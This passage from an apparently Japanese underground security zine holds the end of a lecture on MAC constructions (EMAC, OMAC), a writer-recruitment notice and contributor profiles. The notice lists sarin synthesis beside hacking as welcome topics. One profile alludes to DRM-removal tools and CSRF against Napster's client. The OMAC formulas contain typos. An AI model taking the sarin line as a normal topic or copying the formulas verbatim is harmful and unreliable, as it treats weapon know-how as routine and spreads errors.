り次のようになります。 P_A=Pr[Tag=Tag']=1/(2^n-1)  よってDのアドバンテージは次のようになります。 Adv(D) =|P_random - P_A| =|1/2 - 1/(2^n-1)| ≒1/2  これは十分大きいです。ゆえに{E_K}は擬似ランダム置換族ではないことがわか ります。 ■0x07.) EMAC方式  EMAC方式は可変長のメッセージに対しても安全なMAC方式です。ブロック暗号の 鍵が2つ必要という特徴を持つ。  EMAC方式はCBC-MAC方式における認証子を新しい鍵K2で暗号化して認証子Tagを 生成します。 Tag=E_K2(CBC_K1(M))  図にすると次のようになります(図11参照)。 (図11)http://security2600.sakura.ne.jp/main2/image1/EMAC.jpg ●EMAC方式の安全性  各メッセージの長さがブロック長nの整数倍であると仮定します。このときEMA C方式は選択メッセージ攻撃に対して安全であることが証明されています。 ■0x07.) OMAC方式  OMAC方式はブロック暗号の鍵がひとつで済み、メッセージ長がブロック長nの整 数倍である必要がないという特徴を持つMAC方式です。  鍵はブロック暗号の鍵Kとして、認証子生成アルゴリズムはまず次のように計算 します。 L=E_K(0^n)  次にメッセージM=(m1,m2,…,m_t)に対して次のように計算します。 c1=E_K(m1) c2=E_K(c1+m2) … c_t-1=E_K(c_(t-2)+m_(t-1))  最後に認証子を次のように求めます。 [1]|m_t|=nの場合は、Tag=E_K1(c_(t-1)+m_t+L・u)) [2]|m_t|<nの場合は、Tag==E_K1(c_(t-1)+(m_t||1||0^i)+(L・u^2))  ここでiは|m_t||1||0^i|=nとなるように選びます(||は連結を意味する)。ま たuは拡大体GF(2^n)上の特定の要素であり、「・」はGF(2^n)上の乗算を表す。 L・u^2は L・u^(-1)に置き換えても、安全性・効率はほぼ同じになります。  図にすると次のようになります(図12参照)。 (図12)http://security2600.sakura.ne.jp/main2/image1/OMAC.jpg  これを理解するには次回の拡大体の理解が必要なので、今回はOMAC方式とい ものがあるんだと頭の片隅に記憶しておく程度で十分です。 ●OMAC方式の安全性  OMAC方式は任意の可変長のメッセージにおいて、選択メッセージ攻撃に対して 安全であることが証明されています。 ■0x08.) おわりに  今回でやっと秘密鍵暗号系(+α)の話は終わりです。正直長かったですね…。 仕様を読んだだけでは「ふーん」という程度の理解で終わってしまいます。仕様 に実際に数値を入れて遊んでみたり(平文から暗号文を作って、暗号文から正し い平文にきちんと復号されることを確かめる)、敵の立場になってあらゆる攻撃 を想定してみたりしてみてください。また問題を解くことも重要ですが、自分で 問題を作ることも勉強になります。そうすることで理解をさらに深めることがで きるはずです。  次回は公開鍵暗号系に入る前に必要な基本的な数学について解説します。実は 今回までの話を理解していなくても、次回以降からゼロの状態から理解すること も可能なので、これまでに内容を追えなくなってしまったという人でもフレッシ ュな気持ちでチャレンジしてみてください。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第15章:お知らせ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○Wizard Bible(http://wizardbible.org/)では随時、執筆ライターを募集して います。  扱う内容のテーマは広義での「under ground」です。例えばハッキングからサ リンガスの合成法などと幅広い内容を考えています。また特殊な職業や趣味を持 った方のレクチャーなども含まれます。  一回きりでも構いません。また必ず毎回連載する義務もありませんので、でき る範囲で構いません。気軽に声をかけてください。 ○Kenji AikoさんがQ&Aを作ってくれました。初めて参加する人でもわかりやすく 書かれていますので、参考にしてください。 http://wizardbible.org/wbQandA.html ○Wizard Bibleに参加希望の方は気軽にメール(ipusiron@gmail.com)ください。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第16章:著者プロフィール --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■やねうらお ●Job:会社経営者 ●Web:http://d.yaneurao.ne.jp/ ●Mail:yaneurao@sun-inet.or.jp ●Team(Group):やねう解析チーム ●Comment: 最近仕事はコンサルばっかしやがな…。プログラム書かせてくれい。 ●来年の目標: 来年は本を5冊書くデ!(`ω´) ■tessy ●Job:Engineer ●Web:http://d.hatena.ne.jp/tessy/ ●Mail:tessy.jp@gmail.com ●Team(Group):チームチドリ ●Comment(近況や感想など自由): 流行のノロウイルスにやられたっぽくて今年の誕生日は最悪な1日でした.. ●来年の目標: 脱メタボリック ■金床 ●Job: プログラマー ●Web: http://guardian.jumperz.net/, http://www.jumperz.net/ ●Mail: anvil@jumperz.net ●Comment:  数年前にMetallicaがNapsterを訴えた際にアカウントを消された金床です。つ いに日本国内でも生まれ変わったNapsterがサービスを開始しました。試しに使っ ているのですが、イイ!よすぎる!  懐かしい曲を一通りダウンロードした後は、これまで聴く機会のなかったアー ティストやバンドなどに手を出してます。無料で使えるLast.FMとの合わせ技がい い感じ。 ・Last.FMで、好きなアーティストやバンドに近い、未知のグループを検索 ・Last.FMで、そいつらの比較的人気の高い曲名を検索 ・Napsterでダウンロード ・ウマー  …まぁでも結局アイコンだよね。もうNapsterはアイコン見ただけで一生ついて いきますって感じ。ちなみに邦楽はまったく無いので、邦楽しか聴かない人には かなりウンコなサービスです。  ところでD○×はやはり解除しないと生理的に受けつけないでしょう。すげぇ難 しそうだけどチャレンジしようかなぁと思っていたらクリックするだけで解除で きちゃうツールがあるようなないような…。 ↑注: こういう人をツール厨、スクリプトキディなどと呼びます。  Napsterを含め、最近のアプリって通信をHTTPベースで行うものが増えた気がし ます。Napsterの通信もDoormanで観察していると非常に面白い。IEのコンポーネ ントを使って普通にCookieとかでセッション管理や認証を行ってるようなので、 ウェブアプリと同じ原理で攻撃ができそうでイヤな感じです。Napsterにログイン している最中はIEで2chを見たりしない方がいいです。CSRFで知らない間に大量の 曲を購入してたりとかマジ勘弁。 ●来年の目標:  とりあえず3月末までに原稿を上げるのが目標です。計算したら3000文字/日も 書かねばいけないらしい。なかなか厳しいですのぅ…。 ■Will ●Job:Student ●Web:http://d.hatena.ne.jp/Will_net/ ●Mail:Will_net@hotmail.co.jp ●Team(Group): N/A ■PSY ●Job:SE、作家 ●Web:http://projectseven.jp/ ●Mail:nanasehikaru あっと gmail.com ●Team(Group):none ●Comment(近況や感想など自由):  最近ラテン語に興味を持ってます。日本語や英語とはまた考え方が違って面白 い。え、もう死語だろうって? や、口語としては死語同然ですが、今でも新し い単語が生まれ続けてるのですよ。文法が厳密で、少しプログラム言語っぽいと ころが、ハッカー向けな気もします。なにしろ、computer、virus、data、語源は 全部ラテン語ですからね!やー、自然言語でも、コンピュータ言語でも、ついつ い色々と興味を持ってしまうんですね〜。まずはどれかひとつ極めろって感じで すが…… ●来年の目標:  年度当初から風邪をひいて寝込み、8月から12月までは元気な日より寝込んでい た日のほうが多いぐらいの一年でした。お陰で秋に出版予定だった本ものびのび になっちゃったぜい、ぷんぷん。なので、2007年はともかく元気に行きたいです。  あと、次回作も早いとこ世に出します。よろしく! ■沢木正人 ●Job:サービス業 ●Web:http://mixlogger.the-ninja.jp/ ●Mail:mixlogger@yahoo.co.jp ●Team(Group):なし。 ●Comment(近況や感想など自由): 最近ダイエットしているのですが、ダイエットを中断して1週間ほど普通の食生活 にもどったら、たちまち1〜2キロ太ってしまいました。ダイエットを継続する と体が飢餓状態になって、なかなか痩せにくくとても太りやすい体質になるそう ですが、今その状態みたいです。 ●来年の目標:  PHPとFlashを使ったウェブサイトを立ち上げる!でも遅々として進んでないで すw ■Defolos ●Job: Student ●Web: http://ruffnex.oc.to/defolos/ ●Mail: defolos@ruffnex.oc.to ●Team(Group): none ●Comment:  今回は「はじめてのハッキング」と題して初学者がハッキングを実体験できる ような解説を目指して執筆しました。私がコンピュータの勉強を始めたきっかけ は、こういったハッキングへの興味があったからだと言えます。しかし、ハッキ ングはイメージが一人歩きし、具体的な方法を解説した文書は少ないように感じ ました。具体的にどうなるのかが掴みにくい分野であると思いますので、この文 書で少しでも具体性を示せれば幸いです。 ●来年の目標:  来年は「挑戦する年」でありたいと思っています。来年からは新しい大学に入 学しますので、嫌でも環境は大きく変わります。そんな中で、これまでやってこ なかった様々なことに挑戦していきたいと思っています。 ■Zキチガイ ●Job:三流大学の生徒(仕事としては軽く体を動かす系の時給の良い短期バイト で日銭稼ぎ) ●Web:ナシ ●Mail:秘密 ●Team(Group):ナシ ●Comment:  以前Wikipediaを長々と見ていたことがありました。あれってリンクが貼ってあ るじゃないですか。あれをポチポチと。神話とかヒルベルトの23の問題とかをウ ロウロ。数学も物理も英語も国語も、つまり全般駄目な俺には数学を見たってさ っぱりなわけですが、あれをみてると勉強してみたくもなったり。  今までにどれだけ書籍に金を使ったか調べてみようかな。怖いけど。 ●来年の目標:  知人がゲーム制作を目論んでいるので気持ち手伝いながら作らせます。あとは ネットワークや生活なんかの環境作り。それから今回思いついてそのまま2時間足 らず(多分)で書いた記事をipusironさんに送ったら修正されたものが返ってき た。それを見てなるほど違うなという感じでした。やはり何も考えてない書き方 はよくないですね。意味のある書き方ができるようにします。 ■suma ●Job: Student ●Web: http://beautiful.homelinux.net/~sky-software/ ●Mail: shu_2001jp(at)yahoo.co.jp ●Team(Group): secret ●来年の目標  今年ほとんどできなかったソフトウェア開発に力を入れたいと思っています。 具体的には開発中のバイナリエディタを「使える水準」まで完成させることする こと、その他、作りかけのプログラム、読みかけの書籍を消化することです。も ちろんパッカー開発継続もです。ってかこれ、目標と「来年やること」がブレン ドしちゃってますね。というわけで、純粋に目標らしいものをひとつあげてみま す。「英文(技術・日常英語問わず)をスラスラ読めるようにする」です。片っ 端から洋書を読んでいきたいですね:) ■Narusase ●Job: Student ●Web: (裏)雑学の博物館(http://k-o-m.hp.infoseek.co.jp/) Narusaseの日記 -ハニポってどうよ?(仮)-(http://d.hatena.ne.jp/narusase/) ●Mail: narusase@mcn.ne.jp ●Team(Group): N/A ●Comment:  こんにちは、Narusase(ナルサス)です。  色々と仕事の方が忙しく、ずいぶんと連載を中断してしまい申し訳ありません でした。  さて、今回からは数回にわたってSnort関係について少しずつ書いていきたいと 思います。その後の予定としてはまだ紹介していないTripwireとClamAVについて 触れて、その後は実際の運用について紹介するという形にしてみようかと思いま す。サイトの方は最近全然更新してませんが、ヘタレな文章・未熟な技術・ヘボ いプログラムを紹介するサイトということで、暇があったらあら探しでもしてみ てください。誤植とかミスとかはBBSにでも書いてくだされば、こっそり修正しと きます(笑。ブログの方はほぼ毎日更新で、技術ネタから投資ネタ・どうでもい い独り言などあんまり役に立たない情報をそろえてます。 ■えいる ●Job:プログラマ ●Web:http://d.hatena.ne.jp/nagakura_eil/ ●Mail:mr_clifton@hotmail.com ●Team(Group):なし ●Comment:  今回は参加させていただきありがとうございます。リリース30回目、おめでと うございます:-)  SQL Injectionの解説ということで、どうしてもWeb系の言語の知識が必要にな る話だったのですが、楽しんでもらえたでしょうか? これからちょっとずつWe bアプリ関連の記事を書いていければなと思ってます。 ●来年の目標:  うーん・・・。技術力がまだまだ足りないので、もっといろんなことに手を出した いですね。仕事でやることはほっといても力つくので、それ以外の時間で色々で きればと思い。後はWBにできるだけ参加したいです:-)隔月くらいを目標にがんば ります。 ■Kenji Aiko ●Job: Reverse Engineer ●Web: http://ruffnex.oc.to/kenji/ ●Mail: kenji@ruffnex.oc.to ●Team(Group): N/A ●Comment:  前回の記事と合わせて、今回も「暗号プログラミング」と題してお送りしまし た。暗号についても、P2Pについても、ほんの少しかじっただけの知識で書いてお ります(^^;。なので、間違いが多々あるかもしれないことをご了承ください。本 当に暗号関連の方々から怒られそうな勢いの記事になってそうで…。すみません。 ホント。もし、間違いなどがありましたら、kenji@ruffnex.oc.toまで連絡くださ いです(^^;。 ●来年の目標:  英語を習得する。 ■じぷしーまっどいぷろん ●趣味:邸宅工学 ●セクシーアカデミア主催:http://akademeia.info/ ●執筆した書籍:昔のハッカージャパン ●Comment:うっほー! ●来年の目標:ほんとの邸宅を建てること ■IPUSIRON ●Job:Student ●Web:http://akademeia.info/ ●Mail:ipusiron@gmail.com ●Team(Group):N/A ●Comment:  今回はWB30回目ということで、多数の著者の方にお願いして原稿を集めました。 執筆者の皆様には本当に感謝です。  WBだけに限りませんが、最近よく思うのはアウトプットの重要性についてです。 インプットも大事ですが、それだけで終わらずアウトプットすることで自分の血と なり肉となる感じがします。来年もWBをどんどんリリースしておきますので、よろ しくお願いします。 ●来年の目標:  最近読書数が失速しているので、来年は本を1,000冊以上読みたいです。また暗 号の論文を読んで、独力で本質を見抜けるようになりたいです。